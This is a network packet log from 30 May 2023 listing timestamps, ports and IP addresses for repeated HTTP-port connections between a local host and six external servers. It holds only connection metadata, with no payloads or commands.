May 30, 2023 11:08:29.847666979 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.847666979 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.848002911 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.858113050 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858208895 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858269930 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858338118 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858370066 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.858431101 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858494043 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858541012 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.858565092 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858643055 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858701944 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858711004 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.858783960 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858843088 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858880043 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.858922005 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.858990908 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.859050989 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.859055996 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.859133959 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.859194040 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.859225035 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.859225035 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.859268904 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.859390974 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.859735012 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.859735012 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.870502949 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:35.299665928 CEST	49770	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:35.466291904 CEST	80	49770	23.104.137.185	192.168.11.20
May 30, 2023 11:08:35.466603041 CEST	49770	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:35.466717005 CEST	49770	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:35.634145975 CEST	80	49770	23.104.137.185	192.168.11.20
May 30, 2023 11:08:35.634517908 CEST	80	49770	23.104.137.185	192.168.11.20
May 30, 2023 11:08:35.634553909 CEST	80	49770	23.104.137.185	192.168.11.20
May 30, 2023 11:08:35.634582043 CEST	80	49770	23.104.137.185	192.168.11.20
May 30, 2023 11:08:35.634896994 CEST	49770	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:36.979182005 CEST	49770	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:37.994755983 CEST	49771	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:38.161581993 CEST	80	49771	23.104.137.185	192.168.11.20
May 30, 2023 11:08:38.161864996 CEST	49771	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:38.161920071 CEST	49771	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:38.329802036 CEST	80	49771	23.104.137.185	192.168.11.20
May 30, 2023 11:08:38.329916954 CEST	80	49771	23.104.137.185	192.168.11.20
May 30, 2023 11:08:38.329998016 CEST	80	49771	23.104.137.185	192.168.11.20
May 30, 2023 11:08:38.330065966 CEST	80	49771	23.104.137.185	192.168.11.20
May 30, 2023 11:08:38.330174923 CEST	49771	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:38.330174923 CEST	49771	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:39.666143894 CEST	49771	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:40.681791067 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:40.848438978 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:40.848668098 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:40.849282980 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:40.849358082 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.016073942 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.016204119 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.016271114 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.016308069 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.016390085 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.016454935 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.016685009 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.016923904 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.017153978 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.017222881 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.017287016 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.017568111 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.183090925 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183182001 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183243990 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183301926 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183343887 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.183360100 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183490992 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183552980 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.183670044 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.183672905 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183741093 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183825970 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.183880091 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183938980 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.183993101 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:41.184108973 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.350200891 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.350287914 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.350366116 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.350930929 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.351011038 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.351070881 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:41.351429939 CEST	80	49772	23.104.137.185	192.168.11.20
May 30, 2023 11:08:42.353128910 CEST	49772	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.368647099 CEST	49773	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.535021067 CEST	80	49773	23.104.137.185	192.168.11.20
May 30, 2023 11:08:43.535235882 CEST	49773	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.535353899 CEST	49773	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.702383041 CEST	80	49773	23.104.137.185	192.168.11.20
May 30, 2023 11:08:43.702493906 CEST	80	49773	23.104.137.185	192.168.11.20
May 30, 2023 11:08:43.702564955 CEST	80	49773	23.104.137.185	192.168.11.20
May 30, 2023 11:08:43.702629089 CEST	80	49773	23.104.137.185	192.168.11.20
May 30, 2023 11:08:43.702811956 CEST	49773	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.702811956 CEST	49773	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.703038931 CEST	49773	80	192.168.11.20	23.104.137.185
May 30, 2023 11:08:43.869452953 CEST	80	49773	23.104.137.185	192.168.11.20
May 30, 2023 11:08:48.733820915 CEST	49774	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:48.905924082 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:48.906225920 CEST	49774	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:48.906312943 CEST	49774	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:49.079830885 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:49.191667080 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:49.191757917 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:49.191814899 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:49.191864014 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:49.191915035 CEST	80	49774	199.192.30.147	192.168.11.20
May 30, 2023 11:08:49.192121029 CEST	49774	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:49.192121029 CEST	49774	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:50.413820028 CEST	49774	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:51.429452896 CEST	49775	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:51.601771116 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.602066994 CEST	49775	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:51.602180004 CEST	49775	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:51.774396896 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.889487982 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.889566898 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.889626026 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.889674902 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.889723063 CEST	80	49775	199.192.30.147	192.168.11.20
May 30, 2023 11:08:51.889884949 CEST	49775	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:51.890048981 CEST	49775	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:53.116363049 CEST	49775	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.131963968 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.302876949 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.303112030 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.303848028 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.303937912 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.473716974 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.473804951 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.473973036 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.474126101 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.474148989 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.474302053 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.474476099 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.475150108 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.475202084 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.475245953 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.475366116 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.475539923 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.643546104 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.643569946 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.643698931 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.643807888 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.643826008 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.643904924 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.643949032 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.644035101 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.644237995 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.645070076 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.646951914 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.646970987 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.647006035 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.647181988 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.647200108 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.813504934 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.813564062 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.975713968 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.975758076 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.975794077 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.975822926 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.975850105 CEST	80	49776	199.192.30.147	192.168.11.20
May 30, 2023 11:08:54.975905895 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:54.975996017 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:55.818855047 CEST	49776	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:56.834515095 CEST	49777	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:57.004230022 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.004515886 CEST	49777	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:57.004575014 CEST	49777	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:57.174338102 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.291712046 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.291728020 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.291740894 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.291800022 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.291856050 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:08:57.292089939 CEST	49777	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:57.292196989 CEST	49777	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:57.292331934 CEST	49777	80	192.168.11.20	199.192.30.147
May 30, 2023 11:08:57.461404085 CEST	80	49777	199.192.30.147	192.168.11.20
May 30, 2023 11:09:02.343684912 CEST	49778	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:02.354887009 CEST	80	49778	130.185.109.77	192.168.11.20
May 30, 2023 11:09:02.355051994 CEST	49778	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:02.355159044 CEST	49778	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:02.366422892 CEST	80	49778	130.185.109.77	192.168.11.20
May 30, 2023 11:09:02.366657972 CEST	80	49778	130.185.109.77	192.168.11.20
May 30, 2023 11:09:02.366671085 CEST	80	49778	130.185.109.77	192.168.11.20
May 30, 2023 11:09:02.366923094 CEST	49778	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:03.864098072 CEST	49778	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:04.879542112 CEST	49779	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:04.890005112 CEST	80	49779	130.185.109.77	192.168.11.20
May 30, 2023 11:09:04.890212059 CEST	49779	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:04.890269041 CEST	49779	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:04.901077032 CEST	80	49779	130.185.109.77	192.168.11.20
May 30, 2023 11:09:04.901141882 CEST	80	49779	130.185.109.77	192.168.11.20
May 30, 2023 11:09:04.901191950 CEST	80	49779	130.185.109.77	192.168.11.20
May 30, 2023 11:09:04.901348114 CEST	49779	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:06.394646883 CEST	49779	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.410429001 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.421997070 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.422271967 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.422894955 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.434740067 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.434799910 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.434878111 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.434920073 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.434999943 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.435127020 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.435187101 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.435254097 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.435340881 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.435430050 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.435532093 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.435668945 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.435826063 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.447103024 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.447158098 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.447263002 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.447365046 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.447489977 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:07.447695971 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.447762966 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.447969913 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.448183060 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.448398113 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.448781967 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.459479094 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.459638119 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.459909916 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.459995985 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.460382938 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.460445881 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.460526943 CEST	80	49780	130.185.109.77	192.168.11.20
May 30, 2023 11:09:07.460772038 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:08.925348043 CEST	49780	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:09.940927029 CEST	49781	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:09.951462984 CEST	80	49781	130.185.109.77	192.168.11.20
May 30, 2023 11:09:09.951709986 CEST	49781	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:09.951790094 CEST	49781	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:09.962275982 CEST	80	49781	130.185.109.77	192.168.11.20
May 30, 2023 11:09:09.962331057 CEST	80	49781	130.185.109.77	192.168.11.20
May 30, 2023 11:09:09.962356091 CEST	80	49781	130.185.109.77	192.168.11.20
May 30, 2023 11:09:09.962577105 CEST	49781	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:09.962771893 CEST	49781	80	192.168.11.20	130.185.109.77
May 30, 2023 11:09:09.972794056 CEST	80	49781	130.185.109.77	192.168.11.20
May 30, 2023 11:09:15.003638983 CEST	49782	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:15.159270048 CEST	80	49782	216.108.231.108	192.168.11.20
May 30, 2023 11:09:15.159486055 CEST	49782	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:15.159581900 CEST	49782	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:15.314903975 CEST	80	49782	216.108.231.108	192.168.11.20
May 30, 2023 11:09:15.846158981 CEST	80	49782	216.108.231.108	192.168.11.20
May 30, 2023 11:09:15.846227884 CEST	80	49782	216.108.231.108	192.168.11.20
May 30, 2023 11:09:15.846450090 CEST	49782	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:16.673686028 CEST	49782	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:17.689452887 CEST	49783	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:17.845588923 CEST	80	49783	216.108.231.108	192.168.11.20
May 30, 2023 11:09:17.845833063 CEST	49783	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:17.846008062 CEST	49783	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:18.001570940 CEST	80	49783	216.108.231.108	192.168.11.20
May 30, 2023 11:09:18.533574104 CEST	80	49783	216.108.231.108	192.168.11.20
May 30, 2023 11:09:18.533649921 CEST	80	49783	216.108.231.108	192.168.11.20
May 30, 2023 11:09:18.533977985 CEST	49783	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:19.360548019 CEST	49783	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.376321077 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.534317970 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.534584045 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.535238981 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.692903042 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.692967892 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.693150043 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.693258047 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.693315029 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.693417072 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.693483114 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.693525076 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.693563938 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.693603039 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.693751097 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.693877935 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.851120949 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851191998 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851236105 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851277113 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851471901 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.851516008 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851577044 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851588011 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:20.851620913 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851794958 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851840973 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.851959944 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:20.852006912 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:21.009488106 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:21.009867907 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:21.009958982 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:21.545290947 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:21.545418978 CEST	80	49784	216.108.231.108	192.168.11.20
May 30, 2023 11:09:21.545533895 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:22.047558069 CEST	49784	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:23.063077927 CEST	49785	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:23.220158100 CEST	80	49785	216.108.231.108	192.168.11.20
May 30, 2023 11:09:23.220338106 CEST	49785	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:23.220489025 CEST	49785	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:23.377403021 CEST	80	49785	216.108.231.108	192.168.11.20
May 30, 2023 11:09:23.908571959 CEST	80	49785	216.108.231.108	192.168.11.20
May 30, 2023 11:09:23.908633947 CEST	80	49785	216.108.231.108	192.168.11.20
May 30, 2023 11:09:23.908934116 CEST	49785	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:23.909126043 CEST	49785	80	192.168.11.20	216.108.231.108
May 30, 2023 11:09:24.066440105 CEST	80	49785	216.108.231.108	192.168.11.20
May 30, 2023 11:09:29.450658083 CEST	49786	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:29.715111971 CEST	80	49786	183.90.238.43	192.168.11.20
May 30, 2023 11:09:29.715490103 CEST	49786	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:29.715589046 CEST	49786	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:29.979906082 CEST	80	49786	183.90.238.43	192.168.11.20
May 30, 2023 11:09:29.982260942 CEST	80	49786	183.90.238.43	192.168.11.20
May 30, 2023 11:09:29.982342005 CEST	80	49786	183.90.238.43	192.168.11.20
May 30, 2023 11:09:29.982393980 CEST	80	49786	183.90.238.43	192.168.11.20
May 30, 2023 11:09:29.982626915 CEST	49786	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:31.217417955 CEST	49786	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:32.233023882 CEST	49787	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:32.500957966 CEST	80	49787	183.90.238.43	192.168.11.20
May 30, 2023 11:09:32.501245975 CEST	49787	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:32.501301050 CEST	49787	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:32.769201994 CEST	80	49787	183.90.238.43	192.168.11.20
May 30, 2023 11:09:32.771543980 CEST	80	49787	183.90.238.43	192.168.11.20
May 30, 2023 11:09:32.771611929 CEST	80	49787	183.90.238.43	192.168.11.20
May 30, 2023 11:09:32.771665096 CEST	80	49787	183.90.238.43	192.168.11.20
May 30, 2023 11:09:32.771826982 CEST	49787	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:32.771826982 CEST	49787	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:34.013639927 CEST	49787	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.029231071 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.307713985 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.307986975 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.308547974 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.308645964 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.587227106 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587287903 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587333918 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587373972 CEST	80	49788	183.90.238.43	192.168.11.20
May 30, 2023 11:09:35.587405920 CEST	49788	80	192.168.11.20	183.90.238.43
May 30, 2023 11:09:35.587455988 CEST	80	49788	183.90.238.43	192.168.11.20
